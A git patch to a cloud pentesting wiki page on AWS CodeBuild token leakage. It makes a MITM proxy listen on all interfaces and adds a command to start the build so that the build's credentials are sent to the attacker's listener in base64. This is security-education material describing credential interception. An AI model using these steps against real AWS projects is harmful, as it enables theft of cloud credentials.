From 68c0d44a2710ff06e6ea038a3174694fa63caed2 Mon Sep 17 00:00:00 2001 From: letian-cheng <63186767+RealFakeAccount@users.noreply.github.com> Date: Thu, 26 Dec 2024 14:09:13 -0700 Subject: [PATCH] Update aws-codebuild-token-leakage.md --- .../aws-codebuild-token-leakage.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 804ee2304..51a05bbb1 100644 --- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -149,7 +149,7 @@ aws codebuild update-project --name \ from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", + host="0.0.0.0", port=4444, protocols=[protocol.HTTP], middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. @@ -158,7 +158,13 @@ mitm = MITM( mitm.run() ``` -* Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +* Next, click on **Build the project** or start the build from command line: + +```sh +aws codebuild start-build --project-name +``` + +* Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: